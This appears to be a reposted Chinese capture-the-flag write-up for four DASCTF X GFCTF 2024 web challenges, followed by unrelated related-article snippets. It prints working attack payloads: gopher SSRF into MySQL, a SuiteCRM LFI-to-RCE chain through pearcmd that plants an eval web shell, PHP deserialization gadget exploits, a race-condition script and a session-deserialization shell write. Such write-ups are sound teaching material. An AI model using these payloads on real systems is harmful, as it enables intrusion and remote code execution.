【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)

server/2024/9/24 7:14:30/

目录

EasySignin

cool_index 

SuiteCRM

web1234-toc" style="margin-left:0px;">web1234

法一、条件竞争(没成功)

法二、session反序列化


EasySignin

先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)

然后admin / 1234567登录

康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ

gopher协议探测出3306端口,可以打mysql

 

直接gopherus来打

生成的payload _ 后的部分要url二次编码 

 

base64解码拿到flag 

cool_index 

拿到附件,主要看这段逻辑

app.post("/article", (req, res) => {const token = req.cookies.token;if (token) {try {const decoded = jwt.verify(token, JWT_SECRET);let index = req.body.index;if (req.body.index < 0) {return res.status(400).json({ message: "你知道我要说什么" });}if (decoded.subscription !== "premium" && index >= 7) {return res.status(403).json({ message: "订阅高级会员以解锁" });}index = parseInt(index);if (Number.isNaN(index) || index > articles.length - 1) {return res.status(400).json({ message: "你知道我要说什么" });}return res.json(articles[index]);} catch (error) {res.clearCookie("token");return res.status(403).json({ message: "重新登录罢" });}} else {return res.status(403).json({ message: "未登录" });}
});

注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用

 可以自行对照一下各种判断,最后会输出第八篇文章,索引为7

SuiteCRM

Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks

直接复现CVE即可

先是切换到81端口,suitecrm/suitecrm登录

LFI肯定想到打pearcmd

/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

先pearcmd写马 

再包含写进去的马,命令执行拿flag

/index.php//tmp/shell.phpcmd=system('tac /f*');

web1234">web1234

登录很容易,就是附件里resetconf里的信息进行一波处理

然后?uname=admin&passwd=1q2w3e登录 

法一、条件竞争(没成功)

大体思路就是先反序列化给record.php写入<?php error_reporting(0);

当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马

在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争

链子很简单

Admin#__Destruct -> Config.showconf() -> Log#__toString

反序列化exp:

<?phpclass Admin{public $Config;}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;}class Log{public $data;}$a=new Admin();
$b=new Config();
$c=new Log();
$a->Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);

删去最后一个括号绕过__wakeup

把序列化结果放进本地config文件中

写脚本,跑条件竞争

import requests
import threadingurl1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'def upload():while True:filename = "Config"with open('config', "rb") as f:files = {"avatar": (filename, f.read())}data = {"m": "edit","nickname": "<?php phpinfo();?>","sex": "1","mail": "1","telnum": "1",}response = requests.post(url=url1, files=files,data=data)print(response.status_code)url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'def read():while True:res2 = requests.get(url2)print(res2.status_code)res3 = requests.get(url3)if "php" in res3.text:print('success')# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]# 启动上传线程
for t in upload_threads:t.start()# 启动读取线程
for t in read_threads:t.start()

没跑出来,做不下去了(buu靶机跑条件竞争好像有丶抽象)

法二、session反序列化

后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)

先backdoor来执行phpinfo()

用backdoor来执行session_start() 

 

利用链触发Log的toString⽅法即可,但是触发点并不是在反序列化,而在序列化_sleep函数中

Config#__sleep -> Config.showconf() -> Log#__toString  

启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:"Config":...就是对应的$_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性

 exp:

<?php
class Admin{public $Config;
}
class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;
}
class Log{public $data;
}
$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

sess_Z3r4y文件内容

aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

 

在⽂件名处写马,⽂件名为 1';eval($_POST[1]);# 即可

注意删去Cookie,防止再次写入 <?php error_reporting(0);

访问/record.php,成功写马,命令执行拿flag


http://www.ppmy.cn/server/11145.html

相关文章

WPF Extended.Wpf.Toolkit 加载界面

1、NuGet 中安装 Extended.Wpf.Toolkit 。 2、在MainWindow.xaml中添加xmlns:tk"http://schemas.xceed.com/wpf/xaml/toolkit" 。 MainWindow.xaml 代码如下。 <Window x:Class"WPF_Extended_Wpf_Toolkit_Loading.MainWindow" xmlns"ht…

数据结构|树形结构|并查集

数据结构|并查集 并查集 心有猛虎&#xff0c;细嗅蔷薇。你好朋友&#xff0c;这里是锅巴的C\C学习笔记&#xff0c;常言道&#xff0c;不积跬步无以至千里&#xff0c;希望有朝一日我们积累的滴水可以击穿顽石。 有趣的并查集剧情演绎&#xff1a;【算法与数据结构】—— 并…

在 Node.js 中配置代理 IP 采集文章

不说废话&#xff0c;直接上代码&#xff1a; const http require(http); const https require(https);// 之后可以使用 http 或 https 模块发起请求&#xff0c;它们将自动使用配置的代理 // 代理ip&#xff1a;https://www.kuaidaili.com/?refrg3jlsko0ymg const proxy …

Github Actions实现CI/CD(golang项目)

Github Actions构建CI/CD&#xff08;golang项目&#xff09; 1 基础概念 1.1 Actions GitHub Actions允许构建一个完整的 CI/CD Pipeline&#xff0c;与 GitHub 生态系统深度集成&#xff0c;而无需使用 Travis CI 或者 Circle CI 等第三方服务&#xff0c;对于开源项目都是…

【LeetCode热题100】【贪心算法】划分字母区间

题目链接&#xff1a;763. 划分字母区间 - 力扣&#xff08;LeetCode&#xff09; 要将一个字符串划分为多个子串&#xff0c;要求每个字母只能出现在一个子串里面 如果一个字母的当前位置是它在这个字符串里面最后一次出现的位置&#xff0c;那么这里就应该划分出来成为子串…

微信小程序实时日志使用,setFilterMsg用法

实时日志 背景 为帮助小程序开发者快捷地排查小程序漏洞、定位问题&#xff0c;我们推出了实时日志功能。开发者可通过提供的接口打印日志&#xff0c;日志汇聚并实时上报到小程序后台。开发者可从We分析“性能质量->实时日志->小程序日志”进入小程序端日志查询页面&am…

类和对象(2)——封装(封装的概念、包、staic)

前言 面向对象程序三大特性&#xff1a;封装、继承、多态。而类和对象阶段&#xff0c;主要研究的就是封装特性。何为封装呢&#xff1f;简单来说就是套壳屏蔽细节。 一、什么是封装 1.1 概念 将数据和操作数据的方法进行有机结合&#xff0c;隐藏对象的属性和实现细节&…

分享几个申请免费SSL证书的平台

随着数字网络蓬勃发展&#xff0c;人们在享受互联网时代带来的便利生活外&#xff0c;网络安全问题也是日益变得严重&#xff1b;越来越多企业或个人选择通过安装SSL证书来保护网站的数据安全和提高企业的品牌形象&#xff0c;好在很多证书服务机构都有提供免费SSL证书申请的服…